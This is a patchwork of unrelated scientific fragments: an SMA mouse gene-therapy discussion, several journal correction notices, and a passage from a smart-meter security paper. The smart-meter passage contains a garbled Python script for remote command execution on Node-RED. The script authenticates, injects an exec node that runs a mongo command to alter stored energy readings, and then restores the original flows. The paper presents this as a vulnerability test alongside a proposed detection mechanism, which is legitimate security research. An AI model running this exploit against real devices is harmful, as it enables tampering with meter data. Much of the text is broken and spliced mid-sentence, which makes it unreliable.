achieve optimal expression at early presymptomatic postnatal stages may therefore require prenatal delivery.We have previously shown that administration of prednisolone to SMA mice also increases ontrols) . HoweverSMA mice , suggestcontrols . It is tKlf15 specifically in skeletal muscle, our analysis of heart and liver demonstrates significantly higher activity in these tissues (Fig. Klf15 in the liver and heart of symptomatic mice [Klf15 was used throughout this study, its toxicity may have been due to batch-specific impurities [Klf15 was dose-dependent in both compromised SMA mice and healthy littermates and not observed in parallel experiments with AAV8-GFP, it is most likely that the adverse effects were directly linked to the supraphysiological levels of Klf15 in several key metabolic tissues such as muscle, heart and liver. Thus, the dose-dependent effects of AAV8-Spc5-12-mediated Klf15 upregulation are probably due to a complex interplay between tissue- and age-dependent beneficial and adverse signaling pathways that should be considered and evaluated in future investigations.While our AAV8 construct was designed to overexpress ues Fig. . Tropismtic mice , which mpurities . HoweverGFP construct also demonstrated some non-negligible effects on disease phenotypes of SMA mice (Fig. Surprisingly, the AAV8-ice Fig. . While wKlf15 administration in SMA mice might be explained by several experimental conditions that most likely reduced our ability to increase Klf15 specifically in skeletal muscle at physiological levels and with the optimal timing, without influencing the function of other tissues and systems. In the experimental paradigms tested here, the positive, albeit small, effect on survival and weight was restricted to the milder SmnB/−2 SMA mouse model. Future investigations will require endeavors to further optimize a muscle-specific construct by either reconfiguring the AAV/promoter combination and/or inhibiting its expression in non-skeletal muscle tissues.In summary, the limited impact of AAV8-Supplementary Figure 1Supplementary Figure 2Supplementary Figure Legends


Scientific Reports 10.1038/s41598-019-51841-2, published online 29 October 2019Correction to: In this Article, there is a repeated typographical error in the legends of Figure 1, 2 and 3 where,§p  <  0.05 vs. Fasting group; #p  <  0.05 vs. all other conditions.”“should read:#p  <  0.05 vs. Fasting group; §p  <  0.05 vs. all other conditions.”“


Smart meters are of the basic elements in the so-called Smart Grid. These devices, connected to the Internet, keep bidirectional communication with other devices in the Smart Grid structure to allow remote readings and maintenance. As any other device connected to a network, smart meters become vulnerable to attacks with different purposes, like stealing data or altering readings. Nowadays, it is becoming more and more popular to buy and plug-and-play smart meters, additionally to those installed by the energy providers, to directly monitor the energy consumption at home. This option inherently entails security risks that are under the responsibility of householders. In this paper, we focus on an open solution based on Smartpi 2.0 devices with two purposes. On the one hand, we propose a network configuration and different data flows to exchange data (energy readings) in the home. These flows are designed to support collaborative among the devices in order to prevent external attacks and attempts of corrupting the data. On the other hand, we check the vulnerability by performing two kind of attacks . We conclude that, as expected, these devices are vulnerable to these attacks, but we provide mechanisms to detect both of them and to solve, by applying cooperation techniques. The interconnection of devices in electricity networks to support the exchange of data has become an essential aspect that electricity companies need to face. On the one hand, because it will enhance the self-knowledge of the infrastructure by a constant monitoring of data. On the other hand, because national and European regulations have strongly encouraged companies to update their systems to improve the efficiency of the energy consumption. This new infrastructure, usually known as Smart Grid, combines advances in both electric engineering and information and communication technology. Smart Grid leads to a more unified and simplified system for control, maintenance and management of the electricity grid, including generation, transmission, distribution, storage and trade. This new philosophy takes into account an important aspect in energy production. The growing popularity of photovoltaic facilities and other energy systems has increased the number and variety of energy producers: customers cannot be considered as just consumers anymore, but also producers. This would entail a more efficient delivering of energy, by reducing costs and harmful emissions. Besides, the advantages of energy real-time readings are twofold: for consumers and for energy companies. On the one hand, consumers would be aware of their energy consumption, allowing them to adopt new consumption strategies. On the other hand, energy companies would infer consumption patterns and predict needs and potential peaks of activity to stablish appropriate energy plans and the best fees.In this context, smart meters can be considered one of the key elements in the Smart Grid since (i) they allow measuring energy consumption in much more detail than a conventional meter (fine-grained accurate readings) and (ii) they can communicate this information back to the provider and also to other devices or applications in the so-called smart home. A good overview of the smart meters evolution is provided in , by detaHowever, privacy is not the only concern. In this promising scenario, a new threat arises: like any other device connected to a network, the electric devices in the smart grid are also vulnerable to attacks  . Smart gWithin this scenario, some approaches have arisen with the aim of providing mechanisms able to support a more secure context for the Smart Grid and to prevent unauthorized access to this sensitive information. In fact, one of the main changes in the Smart Grid is the bidirectional flow of information, so the information goes from smart meters to the power operator and vice versa. Thus, new communications schemes are needed to support the transmission of energy readings in short time intervals, taking into account the constrained resources of the metering devices and the aforementioned security aspects. Authentication, then, plays an important role in the smart grid domain by providing a variety of security services including credentials’ privacy, session-key (SK) security, and secure mutual authentication.Encryption is the primary security measure and, recently, the Security as a Service (SECaaS) model has introduced different cloud-based solutions for Encryption as a Service (EaaS). One of them is ES4AM , that ofOther approaches for KMSs are based on a Physically Unclonable Function (PUF), although there are not so many proposals in the specialized literature. One of them is , where PCollectors are other critical elements in the Smart Grid and are the focus of the proposal in . The autfaced in : unusualfaced in  the authAlthough there are substantial differences among policy contexts and market penetrations across countries , currentOur contribution is two-fold. On the one hand, we propose an infrastructure based on Smartpi 2.0 devices and a protocol to exchange data (energy readings) in the home. These devices collaborative work to prevent external attacks and attempts of corrupting the data. With this aim, we have defined different data flows using the open-source software provided with these devices (Node-RED ). On theThis paper is organized as follows. We have emulated a simple architecture that any user may have at home to monitor the energy consumption. 2 production. These products  are created to form a network with standardized interfaces that is easy to configure, which supports the energy connection between providers and consumers, and that includes different sensors. Their modular design and their combination of hardware and software offer a flexible and suitable solution.The Smartpi 2.0 is a device that was designed by the German company nD-enerserve GmbH, which is specialized in products for energy management and optimization of self-consumption for smart homes and industrial environments. Besides the Smartpi 2.0, the company has developed other products like a unit to control power generation and power consumption or a screen for displaying data about energy efficiency or COMore specifically, the Smartpi 2.0 consists of a Raspberry Pi 3 Model B+ and an expansion module that allows the device to read amperage and, as a consequence, to read the power consumed. The device has four inputs: L1, L2, L3 and N ; this way, power can be measured in three-phase systems. For single-phase systems, only L1 and N need to be connected. One interesting advantage is that the Raspberry Pi can be powered via the three voltage inputs, so an external power supply is not required. The voltage measurement also allows determining the direction of the energy flow, which offers a versatile measurement of both power generation and power consumption. The device has the following range of operation: Voltage (0–390 V), Amperage (0–100 A), Precision (2%) and Consumption (10 W). The technical characteristics of the basic Smartpi device, the Raspberry Pi 3 Model B+, are detailed in _msgid, a random identifier for each message created; (ii) topic, a property used for fragmenting and reassembling messages; and (iii) payload, the content of the message.For measurement management and communication between the devices, we have used the software that is included by default in the Smartpi 2.0 by the manufacturer (Smartpi version 0.18.5 and Raspberries version 0.20.5): Node-RED . This isGo is activated, a message is introduced in the flow, processed by node Hello ! and displayed in the console thanks to node display.According to their role in the information flow, nodes are classified into three types: (i) Input nodes, which introduce information in the flow that is usually gathered from a sensor or from an incoming IP packet; (ii) Output nodes, which do not forward the information to another node but to a database (to be stored) or to a console (to be debugged), for this the message is sent as an IP packet that exits the flow; and (iii) Intermediate nodes, which are all the other nodes that receive the message (input), modify the information and send the message (ouput). Node-RED messages (Javascript objects) are stored within the Raspberries in MongoDB instances, a NoSQL database that stores information in JSON format. Converting these Javascript objects into JSON format (and vice versa) is extremely simple. MongoDB works with collections that group the data together. These collections work like tables in SQL databases, grouping objects with the same structure. Since JSON keys are always strings, there is no need for the keys of two different objects to be the same, as long as their structure is the same in terms of arrays.X, is assigned with the IP address 192.168.4.X. Node 1 with IP address 192.168.4.1 is the Smartpi 2.0, which will be the access point. Additionally, and in order to feed the devices with information, we have used synthetic data, since using real readings are not relevant for these experiments. In fact, in a real context (using Smartpi devices), the only modification needed would be replacing the input of data by the real measurements of the sensors if they are connected to a real power grid.In order to perform our experiments, we configured a network connecting the devices, as We have defined two basic flows for the devices interconnected in yyyy-mm-dd hh:mm:ss and the field “value” is the energy consumption registered. This new Javascript object is stored as a JSON element in the database. Secondly, the message is again modified to include the node identifier, such as it would follow the next Javascript object: true, if the target node has processed the packet without problems, or false, if any of the fields was incorrect, which will generate an error message in the flow.The first flow, reading flow , obtainstrue. Otherwise, an error message would be generated and the message false would be returned to the device where the reading came from.The second one, reception flow , gathersThese two new flows allow all the devices in the domestic network to share their energy readings. This is key for the next flow, defined to try to protect the network against external attempts of corrupting the readings by injecting false readings in the system. Therefore, the third flow, defence flow, was designed to work as a defence against unauthorised alterations in the database. The main objective of this flow is to support collaborative work among the domestic devices. The underlying idea is that each device compares its own energy readings with the previous ones locally obtained. When anomalies are detected, the device asks for the readings from its neighbours to compare the data.Therefore, the designed defence flow is composed of two parts or steps. The first one focuses on the local analysis of the data, whereas the second one focuses on a procedure to collaboratively decide if an unusual energy reading is, indeed, a right energy reading or a potentially altered one.At the beginning of this defense flow , a queryhttps://www.statsmodels.org/stable/index.html) is a useful tool for this tasks) in order to obtain and to compare consumption trends. Second, we have checked the consistency and fluctuation of the energy data by using a hybrid approach that combines (i) approximate entropy techniques     ]},{    “id”:“terminal”,    “type”:“exec”,    “z”:“test”,    “command”:“”,    “addpay”:False,    “append”:“”,    “useSpawn”:“False”,    “timer”:“”,    “oldrc”:False,    “name”:“”,    “x”:411,    “y”:318.5,    “wires”:[      [        “output”      ],      [        “output”    ]    ]},{    “id”:“output”,    “type”:“debug”,    “z”:“test”,    “name”:“”,    “active”:True,    “tosidebar”:True,    “console”:False,    “tostatus”:False,    “complete”:“false”,    “x”:618,    “y”:315,    “wires”:}]def exploit:async     ws_url = URL.replace    headers = {“Node-RED-API-Version”: “v2”}format(access_token)    headers[“Authorization”] = “Bearer⎵{}”.format(ws_url)) as websocket:    async with websockets.connect(“{}/comms”.        await websocket.send(json.dumps({“auth”:access_token}))while True:                  response = await websocket.recv          message = json.loads(response)if “auth” in message and message[“auth”] == “ok”:          print(”:)⎵Entered⎵Node-RED.”)            break                    await websocket.send(json.dumps({“subscribe”:“debug”}))try:        print(“-->⎵Getting⎵deployed⎵flows...”)                    current_flows = {“flows”:}format(URL),          resp = requests.get(“{}/flows”.          headers=headers)if “flows" in resp.json:                      current_flows[“flows”] = resp.json[“flows”]print(“-->⎵Merging⎵flows...”)                    merged = {}for item in current_flows[“flows”]+EXEC_FLOW:          if item[“id”] not in merged:                          merged[item[“id”]] = itemfor  in merged.items}          payload = {“flows”:val for flow in payload[“flows”]:          if flow[“id”] == “terminal”:            “”“mongo              flow[“command”] = \“localhost:27017/smartpi\“ --eval ’db.getCollection(’1’).update’“”“print(“-->⎵Deploying⎵modified⎵flow...”)                    resp = requests.post(format(URL),            “{}/flows”.            json=payload,            headers=headers          )print(”:)⎵Flow⎵deployed.”)          print(“-->⎵Injecting⎵start⎵and⎵receveing⎵output...”)          format,          resp = requests.post(“{}/inject/{}”.          headers=headers)          output = Nonewhile output is None:                      response = await websocket.recv            messages = json.loads(response)for message in messages:            if “topic” in message and message[“topic”]                            == “debug”:                output = message[“data”][“msg”]                .stripbreak                print(output)                    payload = {“flows”:}for current_block in current_flows[“flows”]:                      tainted = Falsefor block in EXEC_FLOW:            if block[“id”] == current_block[“id”]:                              tainted = Trueif not tainted:                          payload[“flows”].append(current_block)print                    resp = requests.post(format(URL),            “{}/flows”.            json=payload,            headers=headers          )if resp.status_code == 200:          print(”:)⎵Original⎵flow⎵redeployed.”)            else:          printfinally:        print(“-->⎵End⎵of⎵the⎵attack.”)                    websocket.closeif __name__ == “__main__”:    parser = argparse.ArgumentParser(description=\      “Remote⎵Command⎵Execution⎵on⎵Node-RED.”)type=str,    parser.add_argument      type=str,    parser.add_argument          args = parser.parse_args    data = {      “client_id”:“node-red-editor”,      “grant_type”:“password”,      “scope”:“”,      “username”:USERNAME,      “password”:PASSWORD    }print(“-->⎵Accessing⎵Node-RED...”)    format(URL),    response = requests.postif response.status_code == 200:    print(”:)⎵Access⎵granted.”)            access_token = response.json[“access_token”]else:    print(“!!⎵ERROR:⎵Couldn’t⎵access⎵Node-RED.⎵Aborting...”)            sys.exitprint(“-->⎵Starting⎵attack...”)        asyncio.get_event_loop.run_until_complete)


Page 1, line 30: “D8788” should read “D7070.”Volume 6, no. 1, e01257-17, 2018, Page 1, line 31: “D7070” should read “D8788.”Page 2, line 3: “D7070” should read “D8788.”Page 2, line 4: “D8788” should read “D7070.”


The author name “Gemma Fernánez-García” should be “Gemma Fernández-García”.Page 2, first line: “257 proteins” should be “301 proteins”.The authors wish to make the following corrections to this paper :The authThe authors would like to apologize for any inconvenience caused to the readers by these changes.


Scientific Reports 10.1038/s41598-019-54029-w, published online 25 November 2019Correction to: 42. The incorrect versions of Equations 1 and 2 appear below:In the original PDF version of this Article, there were typesetting errors in Equations 1 and 2 where dash signs were incorrectly typeset as minus signs. As a result, the symbols ‘t-tau’, ‘p-tau’, ‘α-syn’ and ‘1-3’ were incorrectly typeset as ‘t – tau’, ‘p – tau’, ‘α – syn’ and ‘1 – 3’ respectively. Secondly, in Equation 2 the notation for amyloid was incorrectly typeset as AbEquation (1)Equation (2)PDCDm)1 column of Table 4. In the row “Maximum total”,Furthermore, in the original HTML and PDF versions of this Article there were errors in the (11”“12now reads:“12 [11]”In the row “Cut-off”,5”“6now reads:“6 [5]”These errors have now been corrected in the PDF and HTML versions of the Article.